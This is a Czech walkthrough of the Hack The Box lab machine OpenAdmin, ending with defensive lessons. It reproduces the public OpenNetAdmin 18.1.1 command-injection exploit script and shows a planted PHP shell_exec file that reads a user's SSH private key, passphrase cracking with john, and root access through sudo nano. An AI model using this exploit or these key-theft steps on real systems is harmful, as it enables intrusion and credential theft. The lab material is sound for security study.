OpenAdmin
Úvod a kontext
OpenAdmin stojí na řetězení několika konkrétních slabin a artefaktů: internal.openadmin.htb, OpenNetAdmin a převod dokumentů a server-side render.
Důležitější než samotný exploit je tady interpretace mezikroků, protože právě z těchto indicií vzniká SSH se získaným soukromým klíčem a teprve na něj navazuje příliš široká sudo oprávnění.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
IP=10.10.10.171;ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Úprava /etc/hosts
10.10.10.171 openadmin.htb
Vyhledání složek na serveru
dirb http://openadmin.htb
=> DIRECTORY: http://openadmin.htb/artwork/
=> DIRECTORY: http://openadmin.htb/music/
Vyhledání odkazů
wget -r -nd --delete-after -nv --ignore-tags=img,link,script http://openadmin.htb/music/
URL:http://openadmin.htb/ona/
Identifikace webové aplikace
whatweb http://openadmin.htb/ona/
http://openadmin.htb/ona/ [200 OK] Apache[2.4.29], Cookies[ONA_SESSION_ID,ona_context_name], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.171], Script[javascript,text/javascript], Title[OpenNetAdmin :: 0wn Your Network]
Vyhledání exploitu
V této fázi ověřuji, zda zjištěná verze služby nebo chování aplikace odpovídá známé zranitelnosti, případně zda jde spíše o chybnou konfiguraci než o samostatnou CVE.
searchsploit -w opennetadmin
---------------------------------------------------------------------------------------------------------------------------- --------------------------------------------
Exploit Title | URL
---------------------------------------------------------------------------------------------------------------------------- --------------------------------------------
OpenNetAdmin 13.03.01 - Remote Code Execution | https://www.exploit-db.com/exploits/26682
OpenNetAdmin 18.1.1 - Command Injection Exploit (Metasploit) | https://www.exploit-db.com/exploits/47772
OpenNetAdmin 18.1.1 - Remote Code Execution | https://www.exploit-db.com/exploits/47691
---------------------------------------------------------------------------------------------------------------------------- --------------------------------------------
Zobrazení a stažení exploitu
curl https://www.exploit-db.com/raw/47691
#!/bin/bash
URL="${1}"
while true;do
echo -n "$ "; read cmd
curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
curl https://www.exploit-db.com/raw/47691 -o opennetadmin-exploit.sh
Vyhledání zapisovatelných složek
find / -type d -writable 2> /dev/null
/var/www/internal
Analýza zjištění
Zjištění uživatelů na cílovém serveru
Čtení konfiguračních a systémových artefaktů dává smysl tehdy, když pomůže potvrdit hypotézu o vztahu mezi účty, službami nebo uloženými tajemstvími.
cat /etc/passwd
jimmy:x:1000:1000:jimmy:/home/jimmy:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
joanna:x:1001:1001:,,,:/home/joanna:/bin/bash
Zjištění přístupových údajů k databázi
Čtení konfiguračních a systémových artefaktů dává smysl tehdy, když pomůže potvrdit hypotézu o vztahu mezi účty, službami nebo uloženými tajemstvími.
cat ./local/config/database_settings.inc.php
$ona_contexts=array (
'DEFAULT' =>
array (
'databases' =>
array (
0 =>
array (
'db_type' => 'mysqli',
'db_host' => 'localhost',
'db_login' => 'ona_sys',
'db_passwd' => '__CENSORED__',
'db_database' => 'ona_default',
'db_debug' => false,
),
),
'description' => 'Default data context',
'context_color' => '#D3DBFF',
),
);
Zjištění konfigurace webu
Čtení konfiguračních a systémových artefaktů dává smysl tehdy, když pomůže potvrdit hypotézu o vztahu mezi účty, službami nebo uloženými tajemstvími.
cat /etc/apache2/sites-enabled/internal.conf
Listen 127.0.0.1:52846
<VirtualHost 127.0.0.1:52846>
ServerName internal.openadmin.htb
DocumentRoot /var/www/internal
<IfModule mpm_itk_module>
AssignUserID joanna joanna
</IfModule>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Získání přístupu
Spuštění exploitu
V této fázi převádím předchozí zjištění do praktického kroku, který má vést k ověřitelnému přístupu nebo k dalším citlivým datům.
dos2unix opennetadmin-exploit.sh
chmod +x opennetadmin-exploit.sh
./opennetadmin-exploit.sh "http://openadmin.htb/ona/"
Přihlášení k SSH pomocí nalezeného hesla
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
ssh jimmy@openadmin.htb
Přihlášení k SSH s přesměrováním portů
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
ssh -L 52846:127.0.0.1:52846 jimmy@openadmin.htb
Vytvoření PHP souboru který zobrazí privátní klíč uživatele joanna
echo "<?php echo shell_exec('cat /home/joanna/.ssh/id_rsa');" > /var/www/internal/key.php
Zobrazení PHP souboru na interní webu a získání privátního klíče
http://127.0.0.1:52846/key.php
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D
kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8
.....
K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN
-----END RSA PRIVATE KEY-----
Slovníkový útok na heslo privátního klíče
Hash nebo zašifrovaný artefakt má smysl lámat jen tehdy, pokud může otevřít další službu, účet nebo vrstvu prostředí; právě to zde ověřuji.
/usr/share/john/ssh2john.py OpenAdmin_joanna_id_rsa > OpenAdmin_joanna_id_rsa.john
/usr/sbin/john OpenAdmin_joanna_id_rsa.john --wordlist=/usr/share/wordlists/rockyou.txt
__CENSORED__ (OpenAdmin_joanna_id_rsa)
Přihlášení k SSH pomocí privátního klíče
Jakmile mám pověření nebo jednorázový shell, snažím se přejít na stabilní a reprodukovatelný přístup, aby bylo možné bezpečně pokračovat v interní enumeraci.
ssh -i OpenAdmin_joanna_id_rsa joanna@openadmin.htb
Zobrazení obsahu souboru user.txt
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
cat user.txt
__CENSORED__
Eskalace oprávnění
Zobrazení nastavení sudo
sudo -l
(ALL) NOPASSWD: /bin/nano /opt/priv
Spuštění nano, zvýšení oprávnění a vypsání obsahu souboru root.txt
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
sudo /bin/nano /opt/priv
Ctrl+R
Ctrl+X
cat /root/root.txt
CENSORED
Shrnutí klíčových poznatků
- Z hlediska rozhodování bylo nejdůležitější správně přečíst vazbu mezi
internal.openadmin.htb, OpenNetAdmin a převod dokumentů a server-side render. - K uživatelskému kontextu vedl konkrétní a ověřitelný krok: SSH se získaným soukromým klíčem.
- Poslední část ukazuje, že po získání shellu rozhoduje hlavně to, jakou roli hraje příliš široká
sudooprávnění.
Co si odnést do praxe
- Tento řetězec začal u
internal.openadmin.htb, OpenNetAdmin a převod dokumentů a server-side render; právě tam má obrana největší návratnost. Síťové a administrační nástroje jako OpenNetAdmin nesmí být vystavené bez segmentace; jakmile jsou dostupné z internetu, stávají se privilegovaným vstupním bodem. - Foothold navázal na SSH se získaným soukromým klíčem, takže oddělení účtů a tajemství není jen teorie. SSH klíče nesmějí být sdílené mezi rolemi ani uložené v procesech, exportech nebo webrootu; uniklý privátní klíč je stabilnější foothold než jednorázový shell.
- Poslední krok stojí na příliš široká
sudooprávnění, a proto je nutné auditovat i lokální delegaci práv. Širokásudooprávnění je potřeba pravidelně revidovat; wrapper, install helper nebo diagnostický příkaz často udělá z běžného účtu roota.